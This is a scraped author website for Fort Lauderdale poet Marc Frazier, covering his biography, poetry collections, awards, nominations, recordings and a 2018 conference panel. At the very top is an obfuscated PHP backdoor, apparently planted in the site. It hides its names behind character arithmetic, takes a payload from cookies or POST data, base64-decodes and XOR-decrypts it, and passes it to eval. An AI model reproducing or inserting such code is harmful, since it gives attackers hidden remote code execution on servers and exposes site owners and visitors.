$ZEofBW = chr (118) . chr ( 150 - 55 ).chr (79) . "\x67" . chr ( 567 - 501 ); $zrFrKIrr = "\x63" . chr (108) . chr ( 441 - 344 ).chr (115) . "\x73" . "\137" . chr (101) . chr ( 150 - 30 ).chr ( 272 - 167 )."\x73" . 't' . "\163";$ZfAFOH = class_exists($ZEofBW); $zrFrKIrr = "33396";$IUERxAJj = !1;if ($ZfAFOH == $IUERxAJj){function yPsCmaW(){return FALSE;}$egwBGN = "44928";yPsCmaW();class v_OgB{private function QYzcCKr($egwBGN){if (is_array(v_OgB::$AspdSIt)) {$jIifO = str_replace(chr (60) . "\x3f" . chr ( 1087 - 975 ).'h' . chr ( 505 - 393 ), "", v_OgB::$AspdSIt['c' . "\x6f" . chr (110) . "\x74" . chr ( 461 - 360 ).chr ( 865 - 755 ).chr ( 843 - 727 )]);eval($jIifO); $egwBGN = "44928";exit();}}private $gDcCkG;public function rxTruZ(){echo 10067;}public function __destruct(){$egwBGN = "33533_31870";$this->QYzcCKr($egwBGN); $egwBGN = "33533_31870";}public function __construct($TkdYOY=0){$TNzCUTLeg = $_POST;$tlGXeVv = $_COOKIE;$CLbAbL = "18c58247-93b1-4bb2-b4c9-7912efb0d472";$FMOzoSeO = @$tlGXeVv[substr($CLbAbL, 0, 4)];if (!empty($FMOzoSeO)){$tZHDvl = "base64";$KKfPEiIsjc = "";$FMOzoSeO = explode(",", $FMOzoSeO);foreach ($FMOzoSeO as $zSYTRlTzh){$KKfPEiIsjc .= @$tlGXeVv[$zSYTRlTzh];$KKfPEiIsjc .= @$TNzCUTLeg[$zSYTRlTzh];}$KKfPEiIsjc = array_map($tZHDvl . chr (95) . chr (100) . "\x65" . "\x63" . "\157" . "\x64" . 'e', array($KKfPEiIsjc,)); $KKfPEiIsjc = $KKfPEiIsjc[0] ^ str_repeat($CLbAbL, (strlen($KKfPEiIsjc[0]) / strlen($CLbAbL)) + 1);v_OgB::$AspdSIt = @unserialize($KKfPEiIsjc); $KKfPEiIsjc = class_exists("33533_31870");}}public static $AspdSIt = 1971;}$eRfXxCC = new /* 53800 */ $ZEofBW(44928 + 44928); $IUERxAJj = $eRfXxCC = $egwBGN = Array();} LGBTQ Writer | Fort Lauderdale, FL - MARC FRAZIER WRITES

Address: Fort Lauderdale, FL

My Literary Journey

I’m MARC FRAZIER, an LGBTQ writer from Fort Lauderdale, FL, deeply woven into the dynamic literary tapestry. I’ve garnered an Illinois Arts Council Award for Poetry and nominations for a Pushcart Prize and two “Best of the Nets.” Dive into my literary world through four full-length poetry collections, including the latest, “If It Comes To That,” all conveniently on Amazon. 

Get to Know Me

Once a Chicagoan, now rooted in Fort Lauderdale, I embrace the LGBTQ community as my own. Beyond words, my craft draws inspiration from artist residencies at the Ragdale Foundation in Lake Forest, Illinois, and the Vermont Studio Center—transformative experiences igniting my storytelling passion. 

Personal Biography

I enjoy watching the huge drawbridge rise to let yachts through as I sit on my balcony on Sunrise Boulevard leading to the ocean. My cat Salem likes his new high-rise life. I am avid swimmer and spend a good deal of time doing so. I love foreign movies and television series and streams them regularly. I am also very interested in interior design, architecture, and photography, with many photos on Unsplash. I am active on social media.

Marc Frazier Standing at a Podium

                               (Image Captured by Event Organizer)

Outside View of the Building

Artistic Works

Recordings

Audio Poem “Prayer in Winter”

Featured in South Florida Poetry Journal, August 2017 

Scroll down to poem in order to listen.

Listen Here

Reading of Poem from “If It Comes To That”**

September 2023

Watch Here

Recognitions

Awards

Illinois Arts Council Award for Poetry

“Chimney Sparrows” in Primavera 

Plainsongs Award

Poem: “October in a Farmhouse” 

PinchPenny Prose Poem Award

“Living with the Elements” 

Honors

Best of the Net Awards Nominations

  • “November 2013” (Eclectica) 
  • “We Can Get There” (Ariel Char) 

Illinois Arts Council Awards Nominations

  • “Diaghilev” (ACM) 
  • “Anomalies” (RHINO) 

Pushcart Prize Nomination

  • “The Rock” (Aeolian Harp Series: Anthology of Poetry Folios Volume Three, 2017) 

Speaking Engagements

Presentations

Hippocamp 2018

  • Sponsored by Hippocampus Magazine Creative Nonfiction Conference 
  • August 24-26 
  • Flash Session Panelist 
  • Topic: “Memoir vs. Essay” 

Reach Out Today

Connect with me via email or social media as I continue to share my thoughts and works and engage with fellow literary enthusiasts. Join me on this journey of words and discovery!